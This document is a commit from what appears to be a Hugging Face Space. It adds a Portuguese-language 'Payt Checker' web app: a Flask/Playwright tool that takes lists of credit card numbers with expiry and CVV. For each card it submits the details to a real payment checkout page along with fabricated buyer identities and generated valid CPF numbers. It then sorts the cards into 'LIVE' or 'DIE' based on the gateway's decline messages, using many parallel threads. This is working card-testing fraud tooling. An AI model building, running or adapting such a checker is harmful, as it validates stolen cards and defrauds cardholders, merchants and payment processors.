Cauanne commited on
Commit
6c484a6
·
verified ·
1 Parent(s): 47f844b

Upload 4 files

Browse files
Files changed (4) hide show
  1. Dockerfile +40 -0
  2. README.md +89 -10
  3. app.py +394 -0
  4. requirements.txt +6 -0
Dockerfile ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ FROM python:3.9-slim
2
+
3
+ # Instalar dependências do sistema necessárias para o Playwright
4
+ RUN apt-get update && apt-get install -y \
5
+ libglib2.0-0 \
6
+ libnss3 \
7
+ libnspr4 \
8
+ libatk1.0-0 \
9
+ libatk-bridge2.0-0 \
10
+ libcups2 \
11
+ libdrm2 \
12
+ libdbus-1-3 \
13
+ libxcb1 \
14
+ libxkbcommon0 \
15
+ libx11-6 \
16
+ libxcomposite1 \
17
+ libxdamage1 \
18
+ libxext6 \
19
+ libxfixes3 \
20
+ libxrandr2 \
21
+ libgbm1 \
22
+ libpango-1.0-0 \
23
+ libcairo2 \
24
+ libasound2 \
25
+ && rm -rf /var/lib/apt/lists/*
26
+
27
+ WORKDIR /app
28
+
29
+ COPY requirements.txt .
30
+ RUN pip install --no-cache-dir -r requirements.txt
31
+
32
+ # Instalar navegadores do Playwright
33
+ RUN playwright install chromium --with-deps
34
+
35
+ COPY . .
36
+
37
+ # Expor a porta padrão do Hugging Face Spaces
38
+ EXPOSE 7860
39
+
40
+ CMD ["python", "app.py"]
README.md CHANGED
@@ -1,10 +1,89 @@
1
- ---
2
- title: Checkerv5
3
- emoji: 📉
4
- colorFrom: red
5
- colorTo: pink
6
- sdk: docker
7
- pinned: false
8
- ---
9
-
10
- Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Payt Checker
2
+
3
+ Este é um aplicativo web que utiliza Python com Playwright e Flask-SocketIO para verificar cartões de crédito.
4
+
5
+ ## Como usar
6
+
7
+ 1. **Cole seus cartões** no campo de texto fornecido no formato `número|mês|ano|cvv`.
8
+ 2. **Ajuste o número de threads** (processos paralelos) usando o slider.
9
+ 3. Clique em **"INICIAR CHECKER"** para começar o processo.
10
+ 4. O status e os resultados (Lives, Dies, Erros) serão exibidos em tempo real na interface.
11
+
12
+ ## Estrutura do Projeto
13
+
14
+ ```
15
+ app/
16
+ ├── app.py
17
+ ├── requirements.txt
18
+ ├── README.md
19
+ ├── templates/
20
+ │ └── index.html
21
+ └── static/
22
+ └── live.mp3 (Placeholder - arquivo de áudio para notificações)
23
+ ```
24
+
25
+ ## Dependências
26
+
27
+ Este projeto requer as seguintes bibliotecas Python:
28
+
29
+ - `Flask`
30
+ - `Flask-SocketIO`
31
+ - `playwright`
32
+ - `requests`
33
+ - `gevent`
34
+ - `gevent-websocket`
35
+
36
+ Além disso, o Playwright requer a instalação de navegadores. No ambiente Hugging Face Spaces, isso geralmente é tratado automaticamente se você usar um Dockerfile ou especificar as dependências corretas. Para garantir, você pode adicionar um comando de instalação do Playwright no seu Dockerfile ou no script de inicialização do Space:
37
+
38
+ ```bash
39
+ playwright install
40
+ ```
41
+
42
+ ## Executando Localmente (para desenvolvimento)
43
+
44
+ 1. Clone este repositório.
45
+ 2. Navegue até a pasta `app`.
46
+ 3. Crie um ambiente virtual e instale as dependências:
47
+ ```bash
48
+ python3 -m venv venv
49
+ source venv/bin/activate
50
+ pip install -r requirements.txt
51
+ playwright install
52
+ ```
53
+ 4. Execute o aplicativo:
54
+ ```bash
55
+ python app.py
56
+ ```
57
+ 5. Abra seu navegador e acesse `http://127.0.0.1:7860`.
58
+
59
+ ## Deploy no Hugging Face Spaces
60
+
61
+ Para fazer o deploy deste projeto no Hugging Face Spaces, siga estes passos:
62
+
63
+ 1. Crie um novo Space no Hugging Face (escolha a opção "Blank" ou "Docker").
64
+ 2. Conecte seu repositório Git local ao Space remoto.
65
+ 3. Faça upload de todos os arquivos da pasta `app/` para o seu repositório do Space.
66
+ 4. O Hugging Face Spaces detectará automaticamente o `app.py` e o `requirements.txt` e tentará instalar as dependências e executar o aplicativo.
67
+ 5. Certifique-se de que o `live.mp3` esteja na pasta `static` dentro do seu Space.
68
+
69
+ **Nota sobre Playwright no Hugging Face Spaces:**
70
+
71
+ Para que o Playwright funcione corretamente em um ambiente Dockerizado como o Hugging Face Spaces, é crucial que os navegadores sejam instalados. O `Dockerfile` já está incluído no pacote para facilitar a configuração:
72
+
73
+ ```dockerfile
74
+ FROM python:3.9-slim-buster
75
+
76
+ WORKDIR /app
77
+
78
+ COPY requirements.txt .
79
+ RUN pip install --no-cache-dir -r requirements.txt
80
+
81
+ # Instala as dependências do Playwright e os navegadores
82
+ RUN pip install playwright && playwright install --with-deps
83
+
84
+ COPY . .
85
+
86
+ CMD ["python", "app.py"]
87
+ ```
88
+
89
+ Lembre-se de que o `app.py` está configurado para rodar na porta `7860`, que é a porta padrão que o Hugging Face Spaces expõe para aplicações web.
app.py ADDED
@@ -0,0 +1,394 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+
2
+ from flask import Flask, render_template, request, jsonify
3
+ from flask_socketio import SocketIO, emit
4
+ from playwright.sync_api import sync_playwright
5
+ import random
6
+ import time
7
+ import os
8
+ import re
9
+ import requests
10
+ from datetime import datetime
11
+ import threading
12
+
13
+ app = Flask(__name__, template_folder='templates', static_folder='static')
14
+ app.config['SECRET_KEY'] = 'supersecret!'
15
+ socketio = SocketIO(app, cors_allowed_origins="*")
16
+
17
+ # --- Classe PaytChecker adaptada para a web ---
18
+ class cores:
19
+ VERDE = '\033[92m'
20
+ VERMELHO = '\033[91m'
21
+ AZUL = '\033[94m'
22
+ AMARELO = '\033[93m'
23
+ RESET = '\033[0m'
24
+
25
+ class PaytChecker:
26
+ def __init__(self, sid=None):
27
+ self.HEADLESS = True # Sempre headless em ambiente de servidor
28
+ self.BASE_URL = "https://checkout.payt.com.br/35a53eba9befcf53a42be3f0b22a39c2"
29
+ self.lives = 0
30
+ self.dies = 0
31
+ self.errors = 0
32
+ self.total_checked = 0
33
+ self.stop_flag = False
34
+ self.sid = sid # Para enviar mensagens para um cliente específico
35
+
36
+ self.provedores_email = ["@gmail.com", "@outlook.com", "@hotmail.com", "@yahoo.com.br"]
37
+
38
+ def emit_to_client(self, event, data):
39
+ if self.sid:
40
+ socketio.emit(event, data, room=self.sid)
41
+ else:
42
+ print(f"[SERVER] {event}: {data}")
43
+
44
+ def gerar_cpf_valido(self):
45
+ while True:
46
+ cpf = [random.randint(0, 9) for _ in range(9)]
47
+ soma = sum((i + 2) * cpf[8 - i] for i in range(9))
48
+ digito1 = 11 - (soma % 11)
49
+ if digito1 >= 10: digito1 = 0
50
+ cpf.append(digito1)
51
+ soma = sum((i + 2) * cpf[9 - i] for i in range(10))
52
+ digito2 = 11 - (soma % 11)
53
+ if digito2 >= 10: digito2 = 0
54
+ cpf.append(digito2)
55
+ cpf_str = ''.join(str(d) for d in cpf)
56
+
57
+ if cpf_str not in ['00000000000', '11111111111', '22222222222', '33333333333',
58
+ '44444444444', '55555555555', '66644444444', '77777777777',
59
+ '88888888888', '99999999999']:
60
+ return cpf_str
61
+
62
+ def gerar_dados_aleatorios(self):
63
+ primeiros = ["Joao", "Maria", "Jose", "Ana", "Carlos", "Juliana", "Pedro", "Fernanda"]
64
+ sobrenomes = ["Silva", "Santos", "Oliveira", "Souza", "Rodrigues", "Ferreira", "Alves", "Lima"]
65
+
66
+ nome = f"{random.choice(primeiros)} {random.choice(sobrenomes)}"
67
+ cpf = self.gerar_cpf_valido()
68
+
69
+ nome_email = nome.split()[0].lower()
70
+ nome_email = re.sub(r'[^a-z]', '', nome_email)
71
+ email = f"{nome_email}{random.randint(1, 99999)}{random.choice(self.provedores_email)}"
72
+
73
+ telefone = f"{random.randint(11, 99)}{random.randint(900000000, 999999999)}"
74
+
75
+ return {
76
+ 'nome': nome,
77
+ 'nome_cartao': nome.upper(),
78
+ 'cpf': cpf,
79
+ 'email': email,
80
+ 'telefone': telefone
81
+ }
82
+
83
+ def gerar_dados_4devs(self):
84
+ try:
85
+ url = 'https://www.4devs.com.br/ferramentas_online.php'
86
+ payload = {
87
+ 'acao': 'gerar_pessoa',
88
+ 'sexo': 'I',
89
+ 'pontuacao': 'S',
90
+ 'idade': '0',
91
+ 'cep_estado': '',
92
+ 'txt_qtde': '1',
93
+ 'cep_cidade': ''
94
+ }
95
+ headers = {
96
+ 'Accept': '*/*',
97
+ 'Accept-Language': 'pt-BR,pt;q=0.9',
98
+ 'Content-Type': 'application/x-www-form-urlencoded',
99
+ 'Origin': 'https://www.4devs.com.br',
100
+ 'Referer': 'https://www.4devs.com.br/gerador_de_pessoas',
101
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36'
102
+ }
103
+
104
+ response = requests.post(url, data=payload, headers=headers, timeout=10)
105
+ response.raise_for_status()
106
+
107
+ dados_json = response.json()
108
+ nome = dados_json.get('nome', '')
109
+ cpf = dados_json.get('cpf', '')
110
+ email = dados_json.get('email', '')
111
+ telefone = dados_json.get('telefone', '')
112
+
113
+ if nome and cpf and email and telefone:
114
+ self.emit_to_client('log', {'type': 'info', 'badge': '4DEVS', 'msg': f'Dados reais obtidos: {nome} | {cpf}'})
115
+ return {
116
+ 'nome': nome,
117
+ 'nome_cartao': nome.upper(),
118
+ 'cpf': cpf,
119
+ 'email': email,
120
+ 'telefone': telefone
121
+ }
122
+ else:
123
+ raise ValueError("Dados incompletos retornados pela API")
124
+
125
+ except Exception as e:
126
+ self.emit_to_client('log', {'type': 'warn', 'badge': '4DEVS', 'msg': f'Falha ao obter dados reais: {e}. Usando fallback aleatório.'})
127
+ return self.gerar_dados_aleatorios()
128
+
129
+ def preencher_campos(self, page, dados, numero, mes, ano, cvv):
130
+ page.fill('#full_name', dados['nome'])
131
+ page.fill('#email', dados['email'])
132
+ page.fill('#phone', dados['telefone'])
133
+ page.fill('#cpf_cnpj', dados['cpf'])
134
+ page.evaluate("window.scrollBy(0, 400)")
135
+ time.sleep(0.3)
136
+ page.fill('#cardNumber', numero)
137
+ page.fill('#cardName', dados['nome_cartao'])
138
+ page.fill('#cardDueDate', f"{mes}{ano}")
139
+ page.fill('#cardCvv', cvv)
140
+ page.evaluate("window.scrollBy(0, 200)")
141
+ time.sleep(0.3)
142
+
143
+ def clicar_botao(self, page):
144
+ time.sleep(0.5)
145
+ seletores = ['button:has-text("Confirmar Pagamento")', 'button:has-text("Confirmar")',
146
+ 'button[type="submit"]', '.btn-primary']
147
+ for seletor in seletores:
148
+ try:
149
+ if page.locator(seletor).count() > 0:
150
+ btn = page.locator(seletor).first
151
+ if btn.is_visible():
152
+ btn.scroll_into_view_if_needed()
153
+ btn.click(force=True)
154
+ return True
155
+ except: continue
156
+ return False
157
+
158
+ def classificar_retorno(self, mensagem):
159
+ termos_live = [
160
+ "Sua compra ainda não foi finalizada",
161
+ "Saldo insuficiente, aumente seu limite e realize a compra.",
162
+ "Não pudemos processar seu pagamento, entre em contato com o suporte.",
163
+ "Verifique os dados do seu cartão e tente novamente"
164
+ ]
165
+ termos_die = [
166
+ "Revise os dados do cartão e tente novamente.",
167
+ "Não conseguimos processar seu pagamento, tente novamente mais tarde."
168
+ ]
169
+
170
+ for termo in termos_live:
171
+ if termo.lower() in mensagem.lower():
172
+ return "LIVE"
173
+ for termo in termos_die:
174
+ if termo.lower() in mensagem.lower():
175
+ return "DIE"
176
+ return "DIE"
177
+
178
+ def capturar_retorno(self, page):
179
+ time.sleep(2)
180
+
181
+ for tentativa in range(60):
182
+ if self.stop_flag: return "STOPPED", "Processamento interrompido"
183
+ time.sleep(1)
184
+
185
+ url = page.url
186
+ if "obrigado" in url or "success" in url:
187
+ return "LIVE", "Pagamento aprovado com sucesso!"
188
+
189
+ try:
190
+ msg = page.locator('//*[@id="app"]/nav/div/p')
191
+ if msg.count() > 0:
192
+ texto = msg.first.text_content()
193
+ if texto and len(texto.strip()) > 5:
194
+ texto_completo = texto.strip()
195
+ resultado = self.classificar_retorno(texto_completo)
196
+ return resultado, texto_completo
197
+ except: pass
198
+
199
+ try:
200
+ container = page.locator('//*[@id="app"]/nav/div')
201
+ if container.count() > 0:
202
+ texto = container.first.text_content()
203
+ if texto and len(texto.strip()) > 5:
204
+ texto = re.sub(r'Algo deu errado|Atualizar|Confirmar|Continuar|Parcelas|Voltar', '', texto)
205
+ texto_completo = ' '.join(texto.split())
206
+ if len(texto_completo) > 5:
207
+ resultado = self.classificar_retorno(texto_completo)
208
+ return resultado, texto_completo
209
+ except: pass
210
+
211
+ try:
212
+ body = page.locator('body').text_content()
213
+ mensagens = [
214
+ "Sua compra ainda não foi finalizada",
215
+ "Saldo insuficiente, aumente seu limite e realize a compra.",
216
+ "Não pudemos processar seu pagamento, entre em contato com o suporte.",
217
+ "Verifique os dados do seu cartão e tente novamente",
218
+ "Revise os dados do cartão e tente novamente.",
219
+ "Não conseguimos processar seu pagamento, tente novamente mais tarde."
220
+ ]
221
+
222
+ for msg in mensagens:
223
+ if msg.lower() in body.lower():
224
+ resultado = self.classificar_retorno(msg)
225
+ return resultado, msg
226
+ except: pass
227
+
228
+ if (tentativa + 1) % 10 == 0:
229
+ self.emit_to_client('log', {'type': 'info', 'badge': 'WAIT', 'msg': f'Aguardando... {tentativa+1}/60'})
230
+
231
+ return "DIE", "Timeout - Sem resposta da gateway"
232
+
233
+ def testar_cartao(self, cartao, i, total, thread_id):
234
+ if self.stop_flag: return
235
+
236
+ partes = cartao.split('|')
237
+ if len(partes) != 4:
238
+ self.errors += 1
239
+ self.total_checked += 1
240
+ self.emit_to_client('log', {'type': 'erro', 'badge': 'FORMAT', 'card': cartao, 'msg': 'Formato de cartão inválido', 'slot': thread_id})
241
+ self.update_stats(total)
242
+ return
243
+
244
+ numero, mes, ano, cvv = partes
245
+ ano = ano[-2:] if len(ano) == 4 else ano
246
+
247
+ dados = self.gerar_dados_4devs()
248
+
249
+ inicio = time.time()
250
+ try:
251
+ with sync_playwright() as p:
252
+ browser = p.chromium.launch(headless=self.HEADLESS, args=['--no-sandbox', '--disable-setuid-sandbox'])
253
+ context = browser.new_context(viewport={'width': 1366, 'height': 768})
254
+ page = context.new_page()
255
+
256
+ self.emit_to_client('thread_status', {'id': thread_id, 'status': 'active', 'card': cartao})
257
+ page.goto(self.BASE_URL, wait_until='domcontentloaded')
258
+ time.sleep(1.5)
259
+
260
+ self.preencher_campos(page, dados, numero, mes, ano, cvv)
261
+
262
+ if not self.clicar_botao(page):
263
+ self.errors += 1
264
+ self.total_checked += 1
265
+ self.emit_to_client('log', {'type': 'erro', 'badge': 'CLICK', 'card': cartao, 'msg': 'Não foi possível clicar no botão de pagamento', 'slot': thread_id})
266
+ self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-err', 'card': cartao})
267
+ self.update_stats(total)
268
+ browser.close()
269
+ return
270
+
271
+ status, mensagem = self.capturar_retorno(page)
272
+ segundos = round(time.time() - inicio, 1)
273
+
274
+ if status == "LIVE":
275
+ self.lives += 1
276
+ self.emit_to_client('log', {'type': 'live', 'badge': 'LIVE', 'card': cartao, 'msg': mensagem, 'slot': thread_id, 'tempo': segundos})
277
+ self.emit_to_client('live_card', {'card': cartao, 'msg': mensagem, 'tempo': segundos})
278
+ self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-live', 'card': cartao})
279
+ elif status == "DIE":
280
+ self.dies += 1
281
+ self.emit_to_client('log', {'type': 'die', 'badge': 'DIE', 'card': cartao, 'msg': mensagem, 'slot': thread_id, 'tempo': segundos})
282
+ self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-die', 'card': cartao})
283
+ elif status == "STOPPED":
284
+ self.emit_to_client('log', {'type': 'info', 'badge': 'STOP', 'card': cartao, 'msg': mensagem, 'slot': thread_id, 'tempo': segundos})
285
+ self.emit_to_client('thread_status', {'id': thread_id, 'status': 'idle', 'card': cartao})
286
+ browser.close()
287
+ return
288
+
289
+ browser.close()
290
+
291
+ except Exception as e:
292
+ self.errors += 1
293
+ self.emit_to_client('log', {'type': 'erro', 'badge': 'ERROR', 'card': cartao, 'msg': f'Erro inesperado: {e}', 'slot': thread_id})
294
+ self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-err', 'card': cartao})
295
+ finally:
296
+ self.total_checked += 1
297
+ self.update_stats(total)
298
+
299
+ def update_stats(self, total_cards):
300
+ self.emit_to_client('update_stats', {
301
+ 'lives': self.lives,
302
+ 'dies': self.dies,
303
+ 'errors': self.errors,
304
+ 'total': total_cards,
305
+ 'checked': self.total_checked
306
+ })
307
+ if self.total_checked == total_cards:
308
+ self.emit_to_client('process_complete', {'lives': self.lives, 'dies': self.dies, 'errors': self.errors})
309
+ self.emit_to_client('set_ui', {'on': False})
310
+
311
+
312
+ # --- Rotas Flask e Socket.IO ---
313
+
314
+ @app.route('/')
315
+ def index():
316
+ return render_template('index.html')
317
+
318
+ processing_threads = []
319
+ stop_event = threading.Event()
320
+
321
+ @socketio.on('connect')
322
+ def test_connect():
323
+ print(f'Client connected: {request.sid}')
324
+ emit('my response', {'data': 'Connected'}) # Pode ser removido se não for usado
325
+
326
+ @socketio.on('disconnect')
327
+ def test_disconnect():
328
+ print(f'Client disconnected: {request.sid}')
329
+
330
+ @socketio.on('start_process')
331
+ def start_process(data):
332
+ global processing_threads
333
+ global stop_event
334
+
335
+ if processing_threads and any(t.is_alive() for t in processing_threads):
336
+ emit('log', {'type': 'warn', 'badge': 'SERVER', 'msg': 'Processo já em execução.'})
337
+ return
338
+
339
+ cards_raw = data['cards']
340
+ num_threads = int(data['threads'])
341
+ client_sid = request.sid
342
+
343
+ cards = [line.strip() for line in cards_raw.split('\n') if line.strip() and '|' in line.strip()]
344
+ total_cards = len(cards)
345
+
346
+ if not cards:
347
+ emit('log', {'type': 'erro', 'badge': 'SERVER', 'msg': 'Nenhum cartão válido fornecido.'})
348
+ emit('set_ui', {'on': False})
349
+ return
350
+
351
+ emit('set_ui', {'on': True})
352
+ emit('log', {'type': 'info', 'badge': 'SERVER', 'msg': f'Iniciando processamento de {total_cards} cartões com {num_threads} threads.'})
353
+ emit('update_stats', {'lives': 0, 'dies': 0, 'errors': 0, 'total': total_cards, 'checked': 0})
354
+
355
+ checker = PaytChecker(sid=client_sid)
356
+ stop_event.clear() # Limpa o evento de parada para um novo processamento
357
+
358
+ processing_threads = []
359
+ cards_per_thread = (total_cards + num_threads - 1) // num_threads
360
+
361
+ def worker(cards_chunk, thread_id, total_cards_overall):
362
+ for i, card in enumerate(cards_chunk):
363
+ if stop_event.is_set():
364
+ checker.emit_to_client('log', {'type': 'info', 'badge': 'THREAD', 'msg': f'Thread {thread_id+1} interrompida.', 'slot': thread_id})
365
+ break
366
+ checker.testar_cartao(card, checker.total_checked + 1, total_cards_overall, thread_id)
367
+ time.sleep(0.5) # Pequeno delay entre os cartões para evitar sobrecarga
368
+ checker.emit_to_client('thread_status', {'id': thread_id, 'status': 'idle', 'card': ''})
369
+
370
+ for i in range(num_threads):
371
+ start_idx = i * cards_per_thread
372
+ end_idx = min((i + 1) * cards_per_thread, total_cards)
373
+ chunk = cards[start_idx:end_idx]
374
+ if chunk:
375
+ thread = threading.Thread(target=worker, args=(chunk, i, total_cards))
376
+ processing_threads.append(thread)
377
+ thread.start()
378
+
379
+ @socketio.on('stop_process')
380
+ def stop_process():
381
+ global stop_event
382
+ stop_event.set() # Sinaliza para as threads pararem
383
+ emit('log', {'type': 'warn', 'badge': 'SERVER', 'msg': 'Sinal de parada enviado. Aguardando threads finalizarem...'})
384
+ emit('set_ui', {'on': False})
385
+
386
+ @app.route('/api/download/lives')
387
+ def download_lives():
388
+ # Implementar a lógica de download de lives, se necessário
389
+ # Por enquanto, retorna um arquivo vazio ou uma mensagem de erro
390
+ return "Funcionalidade de download de lives não implementada ainda.", 501
391
+
392
+
393
+ if __name__ == '__main__':
394
+ socketio.run(app, host='0.0.0.0', port=7860, allow_unsafe_werkzeug=True)
requirements.txt ADDED
@@ -0,0 +1,6 @@
 
 
 
 
 
 
 
1
+ Flask
2
+ Flask-SocketIO
3
+ playwright
4
+ requests
5
+ gevent
6
+ gevent-websocket